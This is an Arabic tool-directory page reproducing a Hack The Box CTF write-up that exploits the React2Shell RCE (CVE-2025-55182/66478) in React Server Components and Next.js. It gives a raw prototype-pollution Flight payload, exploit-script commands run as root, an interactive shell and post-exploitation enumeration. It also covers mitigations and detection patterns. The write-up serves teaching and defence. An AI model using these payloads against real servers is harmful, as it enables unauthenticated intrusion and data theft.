Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/thestingr/reactoops-writeup
التحليل الثابتتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليمالفريق الأحمرتطوير الحمولاتمختبرات وتدريب عملي
63منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHub
thestingr/reactoops-writeup

ReactOOPS-WriteUp

شرح Hack The Box للتحدي المتقاعد ReactOOPS - حل كامل ودليل تعليمي لـ CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). يتضمن تحليلًا مفصلاً للثغرات، وتقنيات الاستغلال، ومواد تعليمية للفريق.

عرض المستودعالموقع الإلكتروني
مشاركة

ReactOOPS – حل تحديث HTB ويب

CVE-2025-55182 CVE-2025-66478 CVSS Score: 10.0 Critical Exploit Status: Proof of Concept Available Challenge Status: Solved Challenge Type: Web Framework: React/Next.js

المؤلف: TheStingR - فريق ISP1337Hackers
التحدي: ReactOOPS (ويب)
المنصة: Hack The Box
الصعوبة: سهل جداً – تم التقاعد
تاريخ الحل: 13 ديسمبر 2025

جدول المحتويات

  1. الملخص التنفيذي
  • وصف التحدي
  • تحليل الثغرات
  • الاستطلاع والحصر
  • دليل الاستغلال
  • استخراج العلم
  • الغوص التقني العميق
  • الدفاع والتخفيف
  • الدروس المستفادة

  • الملخص التنفيذي

    ReactOOPS هو تحدٍ ويب يستغل CVE-2025-55182 / CVE-2025-66478، وهي ثغرة حرجة غير موثقة لتنفيذ الأوامر عن بُعد (RCE) في مكونات خادم React ومُوجّه تطبيقات Next.js.

    النتائج الرئيسية:

    • ✅ الخادم: Next.js 16.0.6 مع React 19 (ثغري)
    • ✅ الثغرة: عدم وجود فحص hasOwnProperty في إزالة تسلسل بروتوكول Flight
    • ✅ التأثير: RCE غير موثقة بصلاحيات الجذر (root)
    • ✅ الاستغلال: طلب HTTP POST واحد كافٍ

    وصف التحدي

    التقييم الأولي

    يقدم التحدي تطبيق Next.js مصقول يشغل واجهة مساعد NexusAI. يبدو أن التطبيق يتعامل مع إدخال المستخدم من خلال مكونات خادم React، لكن الأخطاء البسيطة في الطبقة التفاعلية تشير إلى ثغرات كامنة.

    مجموعة التقنيات المستخدمة

    • الإطار: Next.js 16.0.6
    • إصدار React: 19.x
    • النشر: حاوية Docker (بناء Next.js المستقل)
    • منفذ الخادم: 50183

    ما الذي يجعل هذا التطبيق ضعيفاً؟

    يستخدم التطبيق:

    1. مكونات خادم React (RSC) – عرض من جانب الخادم مع اتصال العميل
    2. بروتوكول Flight – تنسيق تسلسل لنقل بيانات RSC
    3. تبعيات ضعيفة – react-server-dom-webpack بدون تصحيحات أمنية

    تحليل الثغرات

    نظرة عامة على CVE-2025-55182 / CVE-2025-66478

    ما هو بروتوكول Flight؟

    بروتوكول Flight هو تنسيق تسلسل خاص بـ React لنقل البيانات بين الخادم والعميل في بنى مكونات الخادم. يستخدم مراجع مثل:

    • $1 – مرجع إلى كائن في الموضع 1
    • $1:path:to:value – اجتياز مسار الخاصية

    فحص الأمان المفقود

    الكود الضعيف في ملف ReactFlightReplyServer.js الخاص بـ React:

    root@kitploit:~
    // Line ~450: getOutlinedModel function
    function getOutlinedModel(response, id) {
        let chunk = chunks.get(id);
        const value = chunk.value;
        
        // Process references like "$1:path:to:value"
        if (reference.startsWith('$')) {
            const refId = parseInt(reference.slice(1).split(':')[0]);
            const path = reference.slice(1).split(':').slice(1);
            
            let obj = chunks.get(refId).value;
            
            // VULNERABLE LOOP - NO hasOwnProperty CHECK!
            for (let i = 0; i < path.length; i++) {
                obj = obj[path[i]];  // ← Allows prototype chain access
            }
            return obj;
        }
    }
    

    النسخة الآمنة (ما يجب أن تكون عليه):

    root@kitploit:~
    for (let i = 0; i < path.length; i++) {
        if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
            obj = obj[path[i]];
        } else {
            throw new Error('Invalid property access');
        }
    }
    

    لماذا هذا مهم؟

    بدون فحص hasOwnProperty، يمكن للمهاجم اجتياز:

    root@kitploit:~
    myObject[__proto__][then] → Chunk.prototype.then
    myObject[__proto__][constructor] → Function
    myObject[__proto__][constructor][prototype] → function.prototype
    

    سلسلة الاستغلال

    root@kitploit:~
    الخطوة 1: إرسال المرجع "$1:__proto__:then"
             │
             ├─ الوصول إلى myChunk[__proto__]
             └─ ثم الوصول إلى [then] على النموذج الأولي
    
    الخطوة 2: إنشاء كائن مزيف يشبه Promise
             │
             └─ { then: maliciousFunction }
    
    الخطوة 3: رد الفعل يستدعي await على هذا الكائن
             │
             ├─ يستدعي طريقة .then()
             └─ ينفذ دالة المهاجم
    
    الخطوة 4: تنفيذ تعليمات عشوائية
             │
             └─ يتم تشغيل الكود في سياق الخادم كجذر
    

    لماذا لا يوجد فحص للمصادقة؟

    توجد الثغرة قبل التحقق من Next-Action:

    root@kitploit:~
    سير معالجة الطلب:
    ├─ تحليل بيانات النموذج متعددة الأجزاء
    ├─ إزالة تسلسل بروتوكول Flight  ← هنا يحدث RCE
    │  └─ معالجة المراجع والكائنات
    │  └─ لا يوجد فحص hasOwnProperty!
    ├─ استخراج ترويسة Next-Action
    ├─ التحقق من معرّف الإجراء          ← هذا يأتي بعد ذلك
    └─ تنفيذ معالج الإجراء
    

    من خلال تفعيل RCE أثناء إزالة التسلسل، يتجاوز المهاجم جميع فحوصات الأمان على مستوى الإجراء.


    الاستطلاع والحصر

    الخطوة 1: اختبار الاتصال الأولي

    root@kitploit:~
    # Test if service is responding
    curl -v http://<IP>:PORT/
    

    المتوقع: تطبيق Next.js يقدم HTML مع تفعيل RSC

    الخطوة 2: تحديد التقنيات

    ابحث عن المؤشرات:

    • ترويسات استجابة تحتوي على بادئات next-
    • HTML يحتوي على <script type="text/x-component">
    • وجود آثار دليل .next
    • نقاط نهاية POST بدون مصادقة واضحة

    الخطوة 3: كشف الثغرات

    المؤشر الأكثر موثوقية هو محاولة هجوم تلوث النموذج الأولي وملاحظة الاستجابة:

    root@kitploit:~
    # Non-destructive detection payload
    # Sends: ["$1:a:a"] referencing {}
    # Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
    # Patched: hasOwnProperty prevents access → no crash
    

    دليل الاستغلال

    إعداد البيئة

    root@kitploit:~
    # Navigate to challenge directory
    cd /Challenges/ReactOOPS
    
    # Clone react2shell exploit framework
    git clone https://github.com/freeqaz/react2shell.git
    
    # Verify all scripts are executable
    chmod +x react2shell/*.sh
    

    المرحلة 1: الكشف (دليل غير مدمر)

    الهدف: تأكيد أن الخادم ضعيف دون التسبب في ضرر

    root@kitploit:~
    cd react2shell
    
    # Run the detection probe
    ./detect.sh http://<IP>:PORT
    

    ما يفعله:

    1. ينشئ طلب POST متعدد الأجزاء مع ترويسة Next-Action: x
    2. يرسل الحمولة: ["$1:a:a"] تشير إلى كائن فارغ {}
    3. على الخادم الضعيف: يحاول JavaScript الوصول إلى {}.a.a
    4. عدم وجود فحص hasOwnProperty يتسبب في تعطل
    5. يعيد الخادم HTTP 500 مع digest خطأ

    الناتج المتوقع:

    root@kitploit:~
    [*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
    [*] Target: http://<IP>:PORT
    
    [*] HTTP Status: 500
    [!] VULNERABLE - Server returned 500 with E{"digest" pattern
    
    [*] Response body:
    0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
    1:E{\"digest\":\"346246470\"}
    
    [!] This server is running a vulnerable version of React RSC / Next.js
    

    التفسير:

    • HTTP 500: ✅ تم اكتشاف تعطل
    • E{"digest" في الاستجابة: ✅ تنسيق معالجة أخطاء React
    • الاستنتاج: الخادم ضعيف

    المرحلة 2: تنفيذ الأوامر عن بُعد (إثبات المفهوم)

    الهدف: التحقق من تنفيذ أوامر عشوائية

    root@kitploit:~
    # Execute the 'id' command on the remote server
    ./exploit-redirect.sh -q http://<IP>:PORT "id"
    

    ما يفعله:

    1. ينشئ حمولة متعددة الأجزاء مع حمولة الأمر
    2. يدمج الأمر في مرجع تلوث النموذج الأولي
    3. يرسل طلب POST مع Next-Action: x
    4. يقوم الخادم بإزالة التسلسل وتنفيذ الأمر أثناء المعالجة
    5. يعيد ناتج الأمر عبر إعادة توجيه HTTP 303

    الناتج المتوقع:

    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
    

    الرؤية الرئيسية: يُظهر الناتج uid=0(root) – خادم الويب يعمل كجذر! هذا خطأ في التكوين الأمني يضخم التأثير.

    المرحلة 3: جمع المعلومات

    الهدف: رسم خريطة لنظام الملفات وتحديد الملفات الحساسة

    root@kitploit:~
    # Check current working directory
    ./exploit-redirect.sh -q http://<IP>:PORT "pwd"
    # Output: /app/.next/standalone
    
    # List application root directory
    ./exploit-redirect.sh -q http://<IP>:PORT "ls -la /app"
    

    بنية الدليل المكتشفة:

    root@kitploit:~
    /app/
    ├── .next/                    # مخرجات بناء Next.js
    ├── node_modules/             # التبعيات
    ├── app/                      # كود مصدر التطبيق
    ├── public/                   # الأصول الثابتة
    ├── flag.txt                  # ✅ الملف المستهدف (الصلاحيات 600)
    ├── package.json
    └── tsconfig.json
    

    النتيجة الحاسمة: ملف العلم موجود في /app/flag.txt بصلاحيات مقيدة (600)

    المرحلة 4: استخراج العلم

    الهدف: قراءة ملف العلم

    root@kitploit:~
    # Read the flag
    ./exploit-redirect.sh -q http://<IP>:PORT> "cat /app/flag.txt"
    

    الناتج:

    root@kitploit:~
    HTB{jus7_REDACTED_2025-55182}
    

    ✅ تم إكمال التحدي!


    الغوص التقني العميق

    تفصيل بنية الحمولة

    يقوم الاستغلال ببناء حمولة بروتوكول Flight. إليك شكل حمولة أمر:

    root@kitploit:~
    POST / HTTP/1.1
    Host: <IP>>:PORT
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
    Next-Action: x
    
    ------WebKitFormBoundaryXXXX
    Content-Disposition: form-data; name="1"
    
    {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "value": "{\"cmd\":\"id\"}",
      "_response": {
        "id": "1",
        "chunks": []
      }
    }
    ------WebKitFormBoundaryXXXX
    Content-Disposition: form-data; name="0"
    
    "$@1"
    ------WebKitFormBoundaryXXXX--
    

    عملية إزالة التسلسل

    root@kitploit:~
    1. تحليل بيانات النموذج متعددة الأجزاء
       → name="1" → كائن JSON بخاصية "then"
       → name="0" → سلسلة "$@1"
    
    2. معالجة المراجع
       → "$@1" تعني "مرجع إلى المقطع 1"
       → ابحث عن chunk[1].value
    
    3. حل مسار المرجع
       → المرجع: "$1:__proto__:then"
       → قسم على النقطتين: ["", "__proto__", "then"]
       → ابدأ بـ chunk[1]
       → الوصول إلى [__proto__] → اجتياز إلى النموذج الأولي
       → الوصول إلى [then] → الوصول إلى طريقة then
    
    4. بناء Promise مزيفة
       → إنشاء كائن بطريقة .then()
       → تحتوي الطريقة على حمولة الأمر
    
    5. تنفيذ .then() الخاص بـ Promise
       → يعاملها React على أنها تشبه Promise
       → يستدعي معالج .then()
       → يتم تنفيذ الكود كجذر
    

    لماذا تختلف نصوص الاستغلال

    النصالآليةكود HTTPالكشف
    exploit-redirect.shاجتياز النموذج الأولي + سلسلة Promise303x-action-redirect
    exploit-throw.shخطأ في try-catch500خطأ في الجسم
    exploit-blind.shقناة جانبية (كتابة ملف، DNS)200خارج النطاق
    exploit-reflect.shانعكاس مباشر في الاستجابة200ناتج الأمر في الجسم
    shell.shغلاف تفاعليمتغيرواجهة REPL

    استخدمنا exploit-redirect.sh لأن:

    • ✅ يعمل دون معرفة صالحة للإجراء
    • ✅ استجابة 303 موثوقة
    • ✅ رؤية جيدة للناتج
    • ✅ لا تداخل مع صفحة الخطأ

    الدفاع والتخفيف

    للأنظمة الضعيفة

    إجراءات فورية (قبل التصحيح):

    1. تعطيل RSC إذا لم يكن ضرورياً

      root@kitploit:~
      // next.config.js
      module.exports = {
        experimental: {
          rsc: false  // تعطيل مكونات خادم React
        }
      }
      
    2. تقييد استخدام Next-Action

      root@kitploit:~
      // middleware.ts
      export function middleware(request) {
        // رفض جميع طلبات POST التي تحتوي على Next-Action
        if (request.method === 'POST' && 
            request.headers.has('next-action')) {
          return new Response('ممنوع', { status: 403 });
        }
      }
      
    3. تقسيم الشبكة

      root@kitploit:~
      # السماح فقط بالمصادر الموثوقة
      iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
      iptables -A INPUT -p tcp --dport 50183 -j DROP
      

    التصحيح فوراً:

    root@kitploit:~
    # تحديث Next.js
    npm install next@latest
    
    # أو إصدار التصحيح المحدد
    npm install [email protected]
    
    # التحقق من الإصدارات
    npm ls next react-server-dom-webpack
    

    لجميع الأنظمة

    تعزيز الأمان:

    1. تشغيل خوادم الويب كمستخدم غير جذري

      root@kitploit:~
      # لا تفعل هذا:
      RUN npm start  # كجذر
      
      # افعل هذا:
      RUN useradd -u 1000 nextjs
      USER nextjs
      CMD ["npm", "start"]
      
    2. التحقق من الإدخال

      root@kitploit:~
      // التحقق من جميع مدخلات بروتوكول Flight
      app.post('/api/*', (req, res) => {
        // ابحث عن أنماط مشبوهة
        const body = JSON.stringify(req.body);
        if (body.includes('__proto__') || 
            body.includes('constructor') ||
            body.includes('prototype')) {
          return res.status(400).send('إدخال غير صالح');
        }
      });
      
    3. تحديد المعدل

      root@kitploit:~
      // تحديد عدد طلبات POST لكل IP
      app.post('/api/*', rateLimit({
        windowMs: 60 * 1000,
        max: 10
      }));
      

    الكشف والمراقبة

    قواعد جدار الحماية للتطبيقات (WAF):

    root@kitploit:~
    # كشف محاولات تلوث النموذج الأولي
    إذا كانت طريقة الطلب == "POST" و
       جسم الطلب يحتوي على "__proto__" أو
       جسم الطلب يحتوي على ":then" أو
       جسم الطلب يحتوي على ":constructor"
    فإنه يتم التنبيه + الحظر
    

    مراقبة السجلات:

    root@kitploit:~
    # ابحث عن أنماط مشبوهة
    grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
    grep 'HTTP 500.*digest' /var/log/nginx/error.log
    

    الكشف السلوكي:

    root@kitploit:~
    // مراقبة تنفيذ الأوامر غير المعتادة
    const childProcess = require('child_process');
    const original_spawn = childProcess.spawn;
    
    childProcess.spawn = function(...args) {
        console.log('[SECURITY] Command execution attempted:', args[0]);
        // تنفيذ سياسة الإجبار
        return original_spawn.apply(this, args);
    };
    

    الدروس المستفادة

    الدروس الأمنية

    1. فحص واحد مفقود = ثغرة حرجة

      • تم استيراد واقي hasOwnProperty ولكن لم يُستخدم
      • سطر واحد من التحقق المفقود تسبب في RCE
      • الدرس: يجب أن تتحقق مراجعات الكود من أن جميع الواقيات مستخدمة فعلياً
    2. سلسلة النموذج الأولي خطيرة

      • سلسلة النموذج الأولي لجافاسكريبت يمكن استغلالها للوصول غير المقصود إلى الخصائص
      • الوصول إلى خاصية كائن يبدو بريئاً: obj[key]
      • الدرس: استخدم دائماً hasOwnProperty أو Object.create(null) للإدخال غير الموثوق
    3. إزالة التسلسل قبل التحقق خطيرة

      • يتم تنفيذ الكود أثناء إزالة التسلسل، قبل فحوصات المصادقة
      • التدفق الطبيعي: مصادقة → تحقق → معالجة
      • التدفق الضعيف: تحليل → تنفيذ كود → تحقق (فات الأوان!)
      • الدرس: لا تنفذ أبداً كوداً أثناء إزالة تسلسل بيانات غير موثوقة
    4. صلاحيات العملية الافتراضية مهمة

      • تشغيل خادم الويب كجذر يضخم التأثير
      • خادم مخترق = سيطرة كاملة على النظام
      • الدرس: قم دائماً بتشغيل الخدمات بأقل الصلاحيات المطلوبة

    دروس الاستغلال

    1. الكشف غير المدمر قيم

      • detect.sh يثبت الثغرة دون التسبب في ضرر
      • يسمح للمقيم بالتحقق من الثغرة قبل الاستغلال
      • أفضل الممارسات: قم دائماً بتضمين مرحلة الكشف
    2. الاستطلاع المنهجي

      • بدأ بالكشف
      • انتقل إلى إثبات RCE
      • ثم جمع المعلومات
      • أخيراً استخراج العلم
      • أفضل الممارسات: لا تقفز إلى الاستغلال؛ اجمع الذكاء أولاً
    3. فهم التقنية

      • ساعدت معرفة بروتوكول Flight في الاستغلال
      • فهم بنية Next.js كان مفتاحياً
      • معرفة سلسلة النموذج الأولي لجافاسكريبت كانت حاسمة
      • أفضل الممارسات: ادرس مجموعة التقنيات قبل الاستغلال

    الجدول الزمني

    الوقتالإجراءالنتيجة
    T+0ثاختبار الاتصال الأوليالخدمة تستجيب
    T+10ثتشغيل detect.shتم تأكيد الضعف
    T+30ثتنفيذ الأمر idتأكيد صلاحيات الجذر
    T+1دسرد محتويات /appتم العثور على موقع العلم
    T+1د 30ثقراءة ملف العلمتم استخراج العلم
    T+2دالتحققتم إكمال التحدي

    المراجع

    الوثائق الرسمية

    • CVE-2025-55182
    • CVE-2025-66478
    • مكونات خادم React
    • بروتوكول Flight

    موارد الاستغلال

    • مستودع react2shell
    • EXPLOIT_NOTES.md
    • PAYLOAD_REFERENCE.md

    CVEs ذات الصلة

    • CVE-2023-46805: تلوث النموذج الأولي لـ React (مشابه لكن مختلف)
    • CVE-2024-4761: XSS في مكون الخادم

    الملحق: مرجع الأوامر

    الاستغلال السريع

    root@kitploit:~
    # استغلال في سطر واحد
    cd /ReactOOPS/react2shell && \
    ./exploit-redirect.sh -q http://<IP>:PORT>"cat /app/flag.txt"
    

    الغلاف التفاعلي

    root@kitploit:~
    # تشغيل غلاف تفاعلي كامل
    ./shell.sh http://<IP>:PORT
    
    # الأوامر الشائعة:
    id                    # إظهار معلومات المستخدم
    pwd                   # الدليل الحالي
    ls -la                # سرد الملفات
    cat /app/flag.txt     # قراءة العلم
    cd /var/log           # تغيير الدليل
    download flag.txt     # تنزيل الملف
    

    جمع المعلومات

    root@kitploit:~
    # معلومات النظام
    ./exploit-redirect.sh -q http://<IP>:PORT "uname -a"
    
    # متغيرات البيئة
    ./exploit-redirect.sh -q http://<IP>:PORT "env"
    
    # العمليات الجارية
    ./exploit-redirect.sh -q http://<IP>:PORT "ps aux"
    
    # اتصالات الشبكة
    ./exploit-redirect.sh -q http://<IP>:PORT "netstat -tuln"
    
    # كود المصدر للتطبيق
    ./exploit-redirect.sh -q http://<IP>:PORT "cat /app/package.json"
    
    تنزيل الأداة